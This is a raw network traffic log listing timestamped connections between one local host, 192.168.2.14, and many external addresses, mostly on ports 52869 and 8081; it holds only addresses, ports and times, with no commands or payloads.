Jul 20, 2024 23:01:02.679614067 CEST	49909	52869	192.168.2.14	122.24.194.162
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	32.84.84.99
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	90.190.16.171
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	163.143.217.47
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	104.234.37.98
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	174.63.182.222
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	118.158.87.140
Jul 20, 2024 23:01:02.679615021 CEST	49909	52869	192.168.2.14	185.249.28.84
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	18.170.188.20
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	43.118.130.176
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	118.99.96.127
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	54.8.147.227
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	146.89.200.217
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	58.121.166.65
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	185.246.39.67
Jul 20, 2024 23:01:02.679802895 CEST	49909	52869	192.168.2.14	113.120.199.189
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	174.209.71.118
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	2.206.38.50
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	113.5.66.230
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	18.131.184.211
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	31.231.217.13
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	157.2.25.73
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	90.220.175.74
Jul 20, 2024 23:01:02.679991961 CEST	49909	52869	192.168.2.14	209.44.36.200
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	95.152.222.158
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	114.16.252.220
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	90.19.110.18
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	166.191.236.101
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	35.156.193.156
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	73.177.155.127
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	112.136.152.217
Jul 20, 2024 23:01:02.680181026 CEST	49909	52869	192.168.2.14	93.158.64.201
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	40.129.3.139
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	175.177.77.177
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	60.194.103.60
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	8.159.212.205
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	166.72.13.183
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	162.130.19.28
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	210.19.110.10
Jul 20, 2024 23:01:02.680389881 CEST	49909	52869	192.168.2.14	87.168.254.99
Jul 20, 2024 23:01:02.680414915 CEST	8081	50165	220.34.138.145	192.168.2.14
Jul 20, 2024 23:01:02.680454969 CEST	50165	8081	192.168.2.14	220.34.138.145
Jul 20, 2024 23:01:02.680460930 CEST	8081	50165	174.66.196.189	192.168.2.14
Jul 20, 2024 23:01:02.680464983 CEST	8081	50165	208.88.231.250	192.168.2.14
Jul 20, 2024 23:01:02.680474043 CEST	8081	50165	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:02.680478096 CEST	8081	50165	116.112.246.232	192.168.2.14
Jul 20, 2024 23:01:02.680495977 CEST	8081	50165	87.233.63.246	192.168.2.14
Jul 20, 2024 23:01:02.680500031 CEST	8081	50165	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:02.680502892 CEST	8081	50165	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:02.680506945 CEST	8081	50165	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:02.680511951 CEST	8081	50165	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:02.680516005 CEST	8081	50165	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:02.680520058 CEST	8081	50165	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:02.680527925 CEST	8081	50165	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:02.680535078 CEST	8081	50165	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:02.680538893 CEST	8081	50165	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:02.680542946 CEST	8081	50165	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:02.680546999 CEST	8081	50165	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	208.88.231.250
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	116.112.246.232
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	174.66.196.189
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	126.223.59.180
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	87.233.63.246
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:02.680556059 CEST	50165	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:02.680583000 CEST	8081	50165	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:02.680587053 CEST	8081	50165	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:02.680596113 CEST	8081	50165	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:02.680599928 CEST	52869	49909	216.22.129.182	192.168.2.14
Jul 20, 2024 23:01:02.680608988 CEST	52869	49909	58.233.164.8	192.168.2.14
Jul 20, 2024 23:01:02.680613041 CEST	52869	49909	81.190.133.151	192.168.2.14
Jul 20, 2024 23:01:02.680620909 CEST	52869	49909	195.72.184.111	192.168.2.14
Jul 20, 2024 23:01:02.680624962 CEST	52869	49909	97.182.48.186	192.168.2.14
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	41.193.249.90
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	158.162.151.192
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	20.182.162.218
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	161.63.169.26
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	140.96.169.217
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	111.171.199.241
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	12.96.172.61
Jul 20, 2024 23:01:02.680720091 CEST	49909	52869	192.168.2.14	134.128.189.87
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:02.680974007 CEST	50165	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:02.681011915 CEST	52869	49909	180.85.200.162	192.168.2.14
Jul 20, 2024 23:01:02.681015968 CEST	52869	49909	27.4.77.14	192.168.2.14
Jul 20, 2024 23:01:02.681025028 CEST	52869	49909	162.3.64.103	192.168.2.14
Jul 20, 2024 23:01:02.681029081 CEST	52869	49909	92.82.93.91	192.168.2.14
Jul 20, 2024 23:01:02.681037903 CEST	52869	49909	40.230.213.181	192.168.2.14
Jul 20, 2024 23:01:02.681042910 CEST	52869	49909	104.154.2.218	192.168.2.14
Jul 20, 2024 23:01:02.681046963 CEST	52869	49909	121.180.50.176	192.168.2.14
Jul 20, 2024 23:01:02.681051016 CEST	52869	49909	129.208.24.187	192.168.2.14
Jul 20, 2024 23:01:02.681055069 CEST	52869	49909	66.110.52.24	192.168.2.14
Jul 20, 2024 23:01:02.681058884 CEST	52869	49909	183.195.170.40	192.168.2.14
Jul 20, 2024 23:01:02.681062937 CEST	52869	49909	130.63.119.66	192.168.2.14
Jul 20, 2024 23:01:02.681071043 CEST	52869	49909	54.220.36.183	192.168.2.14
Jul 20, 2024 23:01:02.681083918 CEST	52869	49909	93.240.68.61	192.168.2.14
Jul 20, 2024 23:01:02.681091070 CEST	52869	49909	37.227.11.158	192.168.2.14
Jul 20, 2024 23:01:02.681098938 CEST	52869	49909	140.64.201.199	192.168.2.14
Jul 20, 2024 23:01:02.681102991 CEST	52869	49909	138.205.215.77	192.168.2.14
Jul 20, 2024 23:01:02.681107044 CEST	52869	49909	62.14.239.100	192.168.2.14
Jul 20, 2024 23:01:02.681109905 CEST	52869	49909	188.4.99.179	192.168.2.14
Jul 20, 2024 23:01:02.681118965 CEST	52869	49909	40.51.178.7	192.168.2.14
Jul 20, 2024 23:01:02.681123018 CEST	52869	49909	136.205.240.112	192.168.2.14
Jul 20, 2024 23:01:02.681128025 CEST	52869	49909	162.169.169.38	192.168.2.14
Jul 20, 2024 23:01:02.681138039 CEST	52869	49909	67.176.187.220	192.168.2.14
Jul 20, 2024 23:01:02.681143045 CEST	52869	49909	128.55.9.228	192.168.2.14
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	135.145.234.156
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	44.239.73.142
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	165.248.34.71
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	133.212.239.230
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	185.102.177.83
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	124.219.56.186
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	59.130.35.228
Jul 20, 2024 23:01:02.681143999 CEST	49909	52869	192.168.2.14	80.4.210.111
Jul 20, 2024 23:01:02.681150913 CEST	52869	49909	151.68.59.82	192.168.2.14
Jul 20, 2024 23:01:02.681154966 CEST	52869	49909	156.74.17.156	192.168.2.14
Jul 20, 2024 23:01:02.681302071 CEST	50165	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:02.681302071 CEST	50165	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:02.681302071 CEST	50165	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:02.681302071 CEST	50165	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:02.681302071 CEST	49909	52869	192.168.2.14	216.22.129.182
Jul 20, 2024 23:01:02.681302071 CEST	49909	52869	192.168.2.14	58.233.164.8
Jul 20, 2024 23:01:02.681302071 CEST	49909	52869	192.168.2.14	81.190.133.151
Jul 20, 2024 23:01:02.681427002 CEST	52869	49909	95.94.166.243	192.168.2.14
Jul 20, 2024 23:01:02.681432009 CEST	52869	49909	92.71.16.118	192.168.2.14
Jul 20, 2024 23:01:02.681441069 CEST	52869	49909	190.177.144.13	192.168.2.14
Jul 20, 2024 23:01:02.681444883 CEST	52869	49909	14.253.185.209	192.168.2.14
Jul 20, 2024 23:01:02.681452990 CEST	52869	49909	222.205.232.112	192.168.2.14
Jul 20, 2024 23:01:02.681457043 CEST	52869	49909	2.61.133.20	192.168.2.14
Jul 20, 2024 23:01:02.681466103 CEST	52869	49909	68.229.46.208	192.168.2.14
Jul 20, 2024 23:01:02.681469917 CEST	52869	49909	61.146.107.160	192.168.2.14
Jul 20, 2024 23:01:02.681473970 CEST	52869	49909	197.191.145.83	192.168.2.14
Jul 20, 2024 23:01:02.681478024 CEST	52869	49909	60.86.70.38	192.168.2.14
Jul 20, 2024 23:01:02.681480885 CEST	52869	49909	204.174.234.241	192.168.2.14
Jul 20, 2024 23:01:02.681484938 CEST	52869	49909	92.183.29.155	192.168.2.14
Jul 20, 2024 23:01:02.681493044 CEST	52869	49909	200.241.54.255	192.168.2.14
Jul 20, 2024 23:01:02.681497097 CEST	52869	49909	169.80.148.165	192.168.2.14
Jul 20, 2024 23:01:02.681504965 CEST	52869	49909	182.102.190.110	192.168.2.14
Jul 20, 2024 23:01:02.681509018 CEST	52869	49909	144.48.250.137	192.168.2.14
Jul 20, 2024 23:01:02.681513071 CEST	52869	49909	206.22.65.87	192.168.2.14
Jul 20, 2024 23:01:02.681521893 CEST	52869	49909	195.114.11.174	192.168.2.14
Jul 20, 2024 23:01:02.681525946 CEST	52869	49909	170.171.142.86	192.168.2.14
Jul 20, 2024 23:01:02.681534052 CEST	52869	49909	164.50.104.21	192.168.2.14
Jul 20, 2024 23:01:02.681539059 CEST	52869	49909	110.157.88.25	192.168.2.14
Jul 20, 2024 23:01:02.681543112 CEST	52869	49909	138.195.86.6	192.168.2.14
Jul 20, 2024 23:01:02.681548119 CEST	52869	49909	45.8.156.79	192.168.2.14
Jul 20, 2024 23:01:02.681554079 CEST	52869	49909	173.173.58.235	192.168.2.14
Jul 20, 2024 23:01:02.681557894 CEST	52869	49909	160.118.37.162	192.168.2.14
Jul 20, 2024 23:01:02.681566954 CEST	52869	49909	31.145.108.109	192.168.2.14
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	126.141.223.239
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	145.175.73.95
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	106.8.87.229
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	75.42.78.169
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	196.192.76.110
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	196.99.53.104
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	107.168.106.66
Jul 20, 2024 23:01:02.681592941 CEST	49909	52869	192.168.2.14	47.220.24.147
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	195.72.184.111
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	97.182.48.186
Jul 20, 2024 23:01:02.681629896 CEST	50165	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	180.85.200.162
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	27.4.77.14
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	162.3.64.103
Jul 20, 2024 23:01:02.681629896 CEST	49909	52869	192.168.2.14	92.82.93.91
Jul 20, 2024 23:01:02.681773901 CEST	52869	49909	181.213.168.58	192.168.2.14
Jul 20, 2024 23:01:02.681778908 CEST	52869	49909	182.248.36.231	192.168.2.14
Jul 20, 2024 23:01:02.681787014 CEST	52869	49909	115.122.186.199	192.168.2.14
Jul 20, 2024 23:01:02.681791067 CEST	52869	49909	156.158.6.86	192.168.2.14
Jul 20, 2024 23:01:02.681794882 CEST	52869	49909	150.27.112.120	192.168.2.14
Jul 20, 2024 23:01:02.681803942 CEST	52869	49909	108.8.118.117	192.168.2.14
Jul 20, 2024 23:01:02.681811094 CEST	52869	49909	60.44.220.92	192.168.2.14
Jul 20, 2024 23:01:02.681819916 CEST	52869	49909	34.68.127.234	192.168.2.14
Jul 20, 2024 23:01:02.681823969 CEST	52869	49909	133.44.146.107	192.168.2.14
Jul 20, 2024 23:01:02.681828022 CEST	52869	49909	178.34.253.53	192.168.2.14
Jul 20, 2024 23:01:02.681833029 CEST	52869	49909	188.118.77.133	192.168.2.14
Jul 20, 2024 23:01:02.681840897 CEST	52869	49909	104.88.171.15	192.168.2.14
Jul 20, 2024 23:01:02.681844950 CEST	52869	49909	13.213.156.177	192.168.2.14
Jul 20, 2024 23:01:02.681853056 CEST	52869	49909	132.202.186.148	192.168.2.14
Jul 20, 2024 23:01:02.681857109 CEST	52869	49909	132.99.16.187	192.168.2.14
Jul 20, 2024 23:01:02.681865931 CEST	52869	49909	31.30.172.164	192.168.2.14
Jul 20, 2024 23:01:02.681869984 CEST	52869	49909	193.156.217.82	192.168.2.14
Jul 20, 2024 23:01:02.681878090 CEST	52869	49909	67.28.251.52	192.168.2.14
Jul 20, 2024 23:01:02.681881905 CEST	52869	49909	200.71.92.26	192.168.2.14
Jul 20, 2024 23:01:02.681885958 CEST	52869	49909	124.57.144.236	192.168.2.14
Jul 20, 2024 23:01:02.681894064 CEST	52869	49909	108.20.228.138	192.168.2.14
Jul 20, 2024 23:01:02.681899071 CEST	52869	49909	5.68.48.30	192.168.2.14
Jul 20, 2024 23:01:02.681910992 CEST	52869	49909	59.21.217.174	192.168.2.14
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	40.230.213.181
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	104.154.2.218
Jul 20, 2024 23:01:02.681955099 CEST	52869	49909	63.4.79.122	192.168.2.14
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	121.180.50.176
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	66.110.52.24
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	129.208.24.187
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	183.195.170.40
Jul 20, 2024 23:01:02.681955099 CEST	49909	52869	192.168.2.14	130.63.119.66
Jul 20, 2024 23:01:02.681960106 CEST	52869	49909	182.143.24.236	192.168.2.14
Jul 20, 2024 23:01:02.681967974 CEST	52869	49909	117.245.27.188	192.168.2.14
Jul 20, 2024 23:01:02.681972027 CEST	52869	49909	52.158.160.102	192.168.2.14
Jul 20, 2024 23:01:02.681981087 CEST	52869	49909	98.238.65.199	192.168.2.14
Jul 20, 2024 23:01:02.681984901 CEST	52869	49909	52.167.234.162	192.168.2.14
Jul 20, 2024 23:01:02.681993008 CEST	52869	49909	75.188.29.176	192.168.2.14
Jul 20, 2024 23:01:02.681997061 CEST	52869	49909	104.60.117.206	192.168.2.14
Jul 20, 2024 23:01:02.682004929 CEST	52869	49909	159.251.30.90	192.168.2.14
Jul 20, 2024 23:01:02.682008982 CEST	52869	49909	191.0.70.122	192.168.2.14
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	18.225.17.211
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	70.150.20.82
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	183.3.222.95
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	77.4.194.155
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	112.181.221.208
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	208.96.78.135
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	107.49.13.1
Jul 20, 2024 23:01:02.682013988 CEST	49909	52869	192.168.2.14	182.56.221.239
Jul 20, 2024 23:01:02.682018042 CEST	52869	49909	139.71.240.94	192.168.2.14
Jul 20, 2024 23:01:02.682022095 CEST	52869	49909	206.254.115.238	192.168.2.14
Jul 20, 2024 23:01:02.682024956 CEST	52869	49909	180.247.144.164	192.168.2.14
Jul 20, 2024 23:01:02.682029009 CEST	52869	49909	17.192.49.191	192.168.2.14
Jul 20, 2024 23:01:02.682033062 CEST	52869	49909	184.102.219.159	192.168.2.14
Jul 20, 2024 23:01:02.682038069 CEST	52869	49909	218.106.193.71	192.168.2.14
Jul 20, 2024 23:01:02.682041883 CEST	52869	49909	91.14.226.238	192.168.2.14
Jul 20, 2024 23:01:02.682045937 CEST	52869	49909	32.78.214.6	192.168.2.14
Jul 20, 2024 23:01:02.682049990 CEST	52869	49909	159.143.141.112	192.168.2.14
Jul 20, 2024 23:01:02.682059050 CEST	52869	49909	99.180.207.20	192.168.2.14
Jul 20, 2024 23:01:02.682061911 CEST	52869	49909	121.57.48.148	192.168.2.14
Jul 20, 2024 23:01:02.682065964 CEST	52869	49909	140.245.6.246	192.168.2.14
Jul 20, 2024 23:01:02.682073116 CEST	52869	49909	178.98.216.90	192.168.2.14
Jul 20, 2024 23:01:02.682079077 CEST	52869	49909	190.120.28.126	192.168.2.14
Jul 20, 2024 23:01:02.682082891 CEST	52869	49909	166.244.146.70	192.168.2.14
Jul 20, 2024 23:01:02.682086945 CEST	52869	49909	25.157.50.217	192.168.2.14
Jul 20, 2024 23:01:02.682261944 CEST	50165	8081	192.168.2.14	84.2.229.221
Jul 20, 2024 23:01:02.682261944 CEST	50165	8081	192.168.2.14	98.201.11.93
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	54.220.36.183
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	93.240.68.61
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	37.227.11.158
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	140.64.201.199
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	40.51.178.7
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	138.205.215.77
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	62.14.239.100
Jul 20, 2024 23:01:02.682339907 CEST	49909	52869	192.168.2.14	188.4.99.179
Jul 20, 2024 23:01:02.682449102 CEST	49909	52869	192.168.2.14	202.66.101.97
Jul 20, 2024 23:01:02.682450056 CEST	34388	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	136.205.240.112
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	162.169.169.38
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	67.176.187.220
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	128.55.9.228
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	151.68.59.82
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	156.74.17.156
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	92.71.16.118
Jul 20, 2024 23:01:02.682641983 CEST	49909	52869	192.168.2.14	95.94.166.243
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	14.253.185.209
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	222.205.232.112
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	190.177.144.13
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	2.61.133.20
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	68.229.46.208
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	61.146.107.160
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	197.191.145.83
Jul 20, 2024 23:01:02.682703018 CEST	49909	52869	192.168.2.14	60.86.70.38
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	204.174.234.241
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	92.183.29.155
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	200.241.54.255
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	169.80.148.165
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	182.102.190.110
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	144.48.250.137
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	206.22.65.87
Jul 20, 2024 23:01:02.682847977 CEST	49909	52869	192.168.2.14	170.171.142.86
Jul 20, 2024 23:01:02.682884932 CEST	49909	52869	192.168.2.14	195.114.11.174
Jul 20, 2024 23:01:02.682884932 CEST	49909	52869	192.168.2.14	164.50.104.21
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	110.157.88.25
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	138.195.86.6
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	45.8.156.79
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	173.173.58.235
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	160.118.37.162
Jul 20, 2024 23:01:02.682885885 CEST	49909	52869	192.168.2.14	31.145.108.109
Jul 20, 2024 23:01:02.682924032 CEST	49909	52869	192.168.2.14	115.122.186.199
Jul 20, 2024 23:01:02.682924032 CEST	49909	52869	192.168.2.14	181.213.168.58
Jul 20, 2024 23:01:02.682924032 CEST	49909	52869	192.168.2.14	182.248.36.231
Jul 20, 2024 23:01:02.682924032 CEST	49909	52869	192.168.2.14	156.158.6.86
Jul 20, 2024 23:01:02.682924032 CEST	49909	52869	192.168.2.14	150.27.112.120
Jul 20, 2024 23:01:02.682924986 CEST	49909	52869	192.168.2.14	108.8.118.117
Jul 20, 2024 23:01:02.682924986 CEST	49909	52869	192.168.2.14	60.44.220.92
Jul 20, 2024 23:01:02.683058023 CEST	50165	8081	192.168.2.14	32.229.108.150
Jul 20, 2024 23:01:02.683058023 CEST	50165	8081	192.168.2.14	82.65.162.88
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	34.68.127.234
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	133.44.146.107
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	178.34.253.53
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	188.118.77.133
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	104.88.171.15
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	13.213.156.177
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	132.202.186.148
Jul 20, 2024 23:01:02.683068991 CEST	49909	52869	192.168.2.14	132.99.16.187
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	193.156.217.82
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	31.30.172.164
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	67.28.251.52
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	108.20.228.138
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	200.71.92.26
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	124.57.144.236
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	5.68.48.30
Jul 20, 2024 23:01:02.683104992 CEST	49909	52869	192.168.2.14	59.21.217.174
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	63.4.79.122
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	182.143.24.236
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	117.245.27.188
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	52.158.160.102
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	98.238.65.199
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	52.167.234.162
Jul 20, 2024 23:01:02.683244944 CEST	49909	52869	192.168.2.14	75.188.29.176
Jul 20, 2024 23:01:02.683281898 CEST	49909	52869	192.168.2.14	104.60.117.206
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	191.0.70.122
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	159.251.30.90
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	206.254.115.238
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	180.247.144.164
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	139.71.240.94
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	17.192.49.191
Jul 20, 2024 23:01:02.683283091 CEST	49909	52869	192.168.2.14	184.102.219.159
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	91.14.226.238
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	218.106.193.71
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	159.143.141.112
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	32.78.214.6
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	99.180.207.20
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	121.57.48.148
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	140.245.6.246
Jul 20, 2024 23:01:02.683396101 CEST	49909	52869	192.168.2.14	190.120.28.126
Jul 20, 2024 23:01:02.683516979 CEST	49909	52869	192.168.2.14	178.98.216.90
